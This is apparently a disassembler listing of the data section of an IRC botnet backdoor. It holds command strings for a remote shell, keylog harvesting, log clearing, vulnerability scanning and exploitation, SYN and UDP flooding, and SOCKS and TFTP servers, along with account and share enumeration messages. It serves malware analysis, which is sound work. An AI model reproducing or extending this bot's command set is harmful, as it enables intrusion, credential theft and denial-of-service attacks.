aCmd		db '[CMD]',0            ; DATA XREF: sub_40CD3A+15BEo
		align 10h
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40CD3A+15B9o
		align 10h
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: sub_40CD3A+15A0o
		align 10h
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: sub_40CD3A+158Bo
		align 4
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: sub_40CD3A+1576o
aBox_dll	db 'box.dll',0          ; DATA XREF: sub_40CD3A+1561o
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: sub_40CD3A+154Co
		align 10h
aBox_drv	db 'box.drv',0          ; DATA XREF: sub_40CD3A+1537o
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: sub_40CD3A+1522o
		align 4
aBox_up		db 'box.up',0           ; DATA XREF: sub_40CD3A+150Do
		align 10h
aBox_uptime	db 'box.uptime',0       ; DATA XREF: sub_40CD3A+14F8o
		align 4
aBox_key	db 'box.key',0          ; DATA XREF: sub_40CD3A+14E3o
aBox_harvest	db 'box.harvest',0      ; DATA XREF: sub_40CD3A+14CEo
aBox_ps		db 'box.ps',0           ; DATA XREF: sub_40CD3A+14B9o
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: sub_40CD3A+14A4o
		align 4
aEnz_b3g	db 'enz.b3g',0          ; DATA XREF: sub_40CD3A+148Fo
aEnz_beg0ne	db 'enz.beg0ne',0       ; DATA XREF: sub_40CD3A+147Ao
		align 4
aBox_si		db 'box.si',0           ; DATA XREF: sub_40CD3A+1465o
		align 10h
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: sub_40CD3A+1450o
aBox_ni		db 'box.ni',0           ; DATA XREF: sub_40CD3A+143Bo
		align 4
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: sub_40CD3A+1426o
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40CD3A+1411o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40CD3A+13FCo
		align 4
aEnz_lg		db 'enz.lg',0           ; DATA XREF: sub_40CD3A+13E7o
		align 4
aEnz_log	db 'enz.log',0          ; DATA XREF: sub_40CD3A+13D2o
aEnz_al		db 'enz.al',0           ; DATA XREF: sub_40CD3A+13BDo
		align 4
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: sub_40CD3A+13A8o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40CD3A+1393o
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40CD3A+137Eo
		align 4
dword_435FCC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+134Ao
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_436004	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+1343o
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: sub_40CD3A+132Co
		align 10h
aEnz_i		db 'enz.i',0            ; DATA XREF: sub_40CD3A+1317o
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: sub_40CD3A+1302o
		align 10h
aEnz_s		db 'enz.s',0            ; DATA XREF: sub_40CD3A+12EDo
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: sub_40CD3A+12D8o
		align 4
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: sub_40CD3A+12C3o
		align 10h
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: sub_40CD3A+12AEo
		align 10h
aEnz_et3	db 'enz.et3',0          ; DATA XREF: sub_40CD3A+1299o
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: sub_40CD3A+1284o
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: sub_40CD3A+126Fo
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: sub_40CD3A+125Ao
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: sub_40CD3A+1245o
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: sub_40CD3A+1230o
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40CD3A+1225o
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_40CD3A+1220o
		align 4
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: sub_40CD3A+1207o
		align 10h
dword_4360E0	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40CD3A+11FCo
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40CD3A+11F7o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40CD3A+11DEo
		align 4
dword_436108	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40CD3A+11D3o
aClone		db 'Clone',0            ; DATA XREF: sub_40CD3A+11CEo
		align 10h
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40CD3A+11B5o
		align 4
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: sub_40CD3A+11A0o
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: sub_40CD3A+118Bo
		align 4
aBox_ff_off	db 'box.ff.off',0       ; DATA XREF: sub_40CD3A+1176o
		align 4
aBox_findfile_o	db 'box.findfile.off',0 ; DATA XREF: sub_40CD3A+1161o
		align 4
dword_436168	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40CD3A+1156o
aServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: sub_40CD3A+1138o
dword_436184	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40CD3A+112Do
dword_436190	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CD3A+1128o
dword_43619C	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40CD3A+110Fo
dword_4361AC	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40CD3A+1104o
dword_4361B8	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40CD3A+10FFo
dword_4361C4	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40CD3A+10E6o
dword_4361D4	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40CD3A+10DBo
dword_4361E0	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40CD3A+10D6o
dword_4361EC	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40CD3A+10BDo
dword_4361FC	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40CD3A+10B2o
dword_436208	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CD3A+10ADo
dword_436214	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40CD3A+1094o
dword_436220	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40CD3A+1089o
dword_436230	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40CD3A+1084o
aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: sub_40CD3A+106Bo
dword_436254	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40CD3A+1060o
dword_436260	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40CD3A+105Bo
dword_43626C	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40CD3A+1042o
dword_436274	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40CD3A+1037o
dword_436280	dd 76726573h, 772E7265h, 6F2E6265h, 6666h ; DATA XREF: sub_40CD3A+1019o
dword_436290	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40CD3A+100Eo
aServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: sub_40CD3A+FF0o
		align 4
dword_4362B4	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40CD3A+FE5o
aServer		db 'Server',0           ; DATA XREF: sub_40CD3A+FE0o
					; sub_40CD3A+1009o ...
		align 4
aServer_socks_0	db 'server.socks4.off',0 ; DATA XREF: sub_40CD3A+FC7o
		align 10h
aServer_s4_on	db 'server.s4.on',0     ; DATA XREF: sub_40CD3A+FB2o
		align 10h
aServer_socks4_	db 'server.socks4.on',0 ; DATA XREF: sub_40CD3A+F9Do
		align 4
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40CD3A+F88o
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40CD3A+F73o
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40CD3A+F5Eo
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40CD3A+F49o
aEnz_ver	db 'enz.ver',0          ; DATA XREF: sub_40CD3A+F34o
aEnz_version	db 'enz.version',0      ; DATA XREF: sub_40CD3A+F1Fo
aEnz_lo		db 'enz.lo',0           ; DATA XREF: sub_40CD3A+F0Ao
		align 4
aEnz_logout	db 'enz.logout',0       ; DATA XREF: sub_40CD3A+EF5o
		align 4
aEnz_d		db 'enz.d',0            ; DATA XREF: sub_40CD3A+EE0o
		align 10h
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: sub_40CD3A+ECBo
aEnz_rn		db 'enz.rn',0           ; DATA XREF: sub_40CD3A+EB6o
		align 4
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: sub_40CD3A+E9Eo
a63		db '63',0               ; DATA XREF: sub_40CD3A+D7Eo
		align 4
asc_436384:				; DATA XREF: sub_40CD3A+D56o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40CD3A+D1Co
		align 10h
aServer_2	db '$server',0          ; DATA XREF: sub_40CD3A+D11o
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40CD3A+D00o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40CD3A+CE4o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40CD3A+CD3o
		align 4
aMe_0		db '$me',0              ; DATA XREF: sub_40CD3A+CC1o
aD_0		db '$%d',0              ; DATA XREF: sub_40CD3A+C4Do
aD_1		db '$%d-',0             ; DATA XREF: sub_40CD3A+BA0o
		align 4
aHi_0		db 'hi',0               ; DATA XREF: sub_40CD3A+AC2o
		align 4
aNewshit	db 'newshit',0          ; DATA XREF: sub_40CD3A+AAAo
dword_4363D0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+A87o
		dd 2029206Ch, 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
		align 8
dword_436418	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+A76o
		dd 2029206Ch, 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 10h
dword_436460	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+A50o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_27	db '  Failed to start chat thread, error: <%d>.',0
dword_4364A8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+9F7o
		dd 2029206Ch, 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40CD3A+960o
		align 8
dword_4364E8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+943o
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_43653C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40CD3A+913o
		dd 0A0Dh
dword_436554	dd 4E495001h, 47h	; DATA XREF: sub_40CD3A+8DFo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40CD3A+8A4o
		align 4
dword_436578	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40CD3A+88Ao
		dd 0D017325h, 0Ah
dword_436594	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40CD3A+859o
dword_4365A0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+74Do
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40CD3A+6AAo
		align 4
dword_4365E8	dd 43434401h, 0		; DATA XREF: sub_40CD3A+68Co
dword_4365F0	dd 323333h		; DATA XREF: sub_40CD3A+60Fo
					; sub_40CD3A+AE4o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40CD3A+5EDo
					; sub_412BD1+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40CD3A+5E1o
					; sub_412BD1+16o
dword_436604	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+590o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_436638	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+570o
		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40CD3A+539o
aPart		db 'PART',0             ; DATA XREF: sub_40CD3A+4EBo
					; sub_40CD3A+5ADo
		align 4
aSS_1		db ':%s%s',0            ; DATA XREF: sub_40CD3A+4C3o
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_40CD3A+3AFo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+352o
					; sub_40CD3A+5D1o
dword_436698	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+339o
					; sub_40CD3A+5A05o ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40CD3A+2D6o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40CD3A+27Fo
					; sub_40CD3A+4A84o ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_40CD3A+257o
a302		db '302',0              ; DATA XREF: sub_40CD3A+21Co
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+1D6o
					; sub_40CD3A+39Co ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40CD3A+1B5o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40CD3A+19Bo
		align 4
asc_43670C	db ' :',0               ; DATA XREF: sub_40CD3A+86o
					; sub_40CD3A:loc_40D876o
		align 10h
dword_436710	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_412A1D+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43675C	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_412A1D+E3o
; ---------------------------------------------------------------------------


loc_436778:				; DATA XREF: sub_412A1D+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_43678C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_412A1D+13Fo
dword_4367A0	dd 25207325h, 253A2073h, 0A0D73h, 0 ; DATA XREF: sub_412BD1+58o
off_4367B0	dd offset aAdd		; DATA XREF: sub_412C6C+6Dr
					; sub_413053+50r ...
					; "Add"
off_4367B4	dd offset aAdded	; DATA XREF: sub_412C6C+2Dr
					; sub_413053+82r ...
					; "Added"
dword_4367B8	dd 0			; DATA XREF: sub_412C6C+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 436824h, 43681Ch,	2, 436810h, 436804h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg001:004367E4o
aStop_0		db 'Stop',0             ; DATA XREF: seg001:004367E0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg001:004367D8o
aStart_0	db 'Start',0            ; DATA XREF: seg001:004367D4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg001:004367CCo
		align 4
aList_0		db 'List',0             ; DATA XREF: seg001:004367C8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg001:004367C0o
aDelete_0	db 'Delete',0           ; DATA XREF: seg001:004367BCo
		align 4
aAdded		db 'Added',0            ; DATA XREF: seg001:off_4367B4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: seg001:off_4367B0o
dword_436878	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412C6C+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_4368B0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412C6C+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_4368EC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412C6C+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412D95+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_412D95:loc_412EADo
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_412D95:loc_412EA6o
		align 8
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_412D95:loc_412E9Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_412D95:loc_412E98o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_412D95:loc_412E91o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_412D95:loc_412E8Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_412D95:loc_412E83o
		align 8
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_412D95:loc_412E7Co
		align 10h
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_412D95:loc_412E75o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_412D95:loc_412E6Eo
		align 10h
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_412D95:loc_412E43o
		align 10h
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_412D95:loc_412E3Co
		db ' the service.',0
		align 10h
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_412D95:loc_412E35o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_412D95:loc_412E2Eo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_412D95+8Fo
		align 8
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_412D95:loc_412E03o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_412D95:loc_412DF9o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_412D95:loc_412DEFo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_412D95:loc_412DE5o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_412D95:loc_412DDBo
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_412D95+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_412F13+EEo
aStopped	db '    Stopped',0      ; DATA XREF: sub_412F13:loc_412FE2o
aStarting	db '   Starting',0      ; DATA XREF: sub_412F13:loc_412FDBo
aStoping	db '    Stoping',0      ; DATA XREF: sub_412F13:loc_412FD4o
aRunning_0	db '    Running',0      ; DATA XREF: sub_412F13:loc_412FCDo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_412F13:loc_412FC6o
aPausing	db '    Pausing',0      ; DATA XREF: sub_412F13:loc_412FBFo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_412F13:loc_412FB8o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_412F13+9Eo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_412F13+25o
		align 4
dword_436E64	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413053+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_436E9C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413053+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_436ECC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413053+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_413248+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_413248+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_413248+B5o
dword_436F2C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413248+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_413248+26o
		align 10h
dword_436FA0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413369+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 10h
dword_436FE0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413369+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_437020	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413369+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_437054	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134AF+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_4134AF+36Ao
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_4134AF+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4134AF+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_4134AF+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_4134AF+2C4o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_4134AF+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_4134AF+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_4134AF+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_4134AF+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_4134AF+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_4134AF+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_4134AF+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_4134AF+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_4134AF+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_4134AF+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_4134AF:loc_4135C8o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_4134AF:loc_4135C1o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_4134AF+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_4134AF+ACo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_4134AF+81o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_4134AF+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41387D+145o
		align 4
dword_437214	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41387D:loc_41396Ao
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 4
aS_5		db '  %S',0             ; DATA XREF: sub_41387D+BAo
		align 4
dword_43725C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41387D+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41387D+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4139F3:loc_413B10o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4139F3:loc_413B09o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4139F3:loc_413B02o
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4139F3:loc_413AFBo
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4139F3:loc_413AF4o
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4139F3:loc_413AD7o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4139F3:loc_413AD0o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4139F3:loc_413AC9o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4139F3+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4139F3:loc_413A9Eo
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4139F3:loc_413A97o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4139F3:loc_413A90o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4139F3:loc_413A86o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4139F3+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4139F3:loc_413A60o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4139F3:loc_413A56o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4139F3:loc_413A4Co
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4139F3:loc_413A42o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4139F3:loc_413A38o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4139F3+3Bo
		align 10h
dword_437580	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413B27+ABo
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_4375BC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413B27+81o
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_413C50+119o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_413C50+4Eo
					; sub_413C50+99o
		align 4
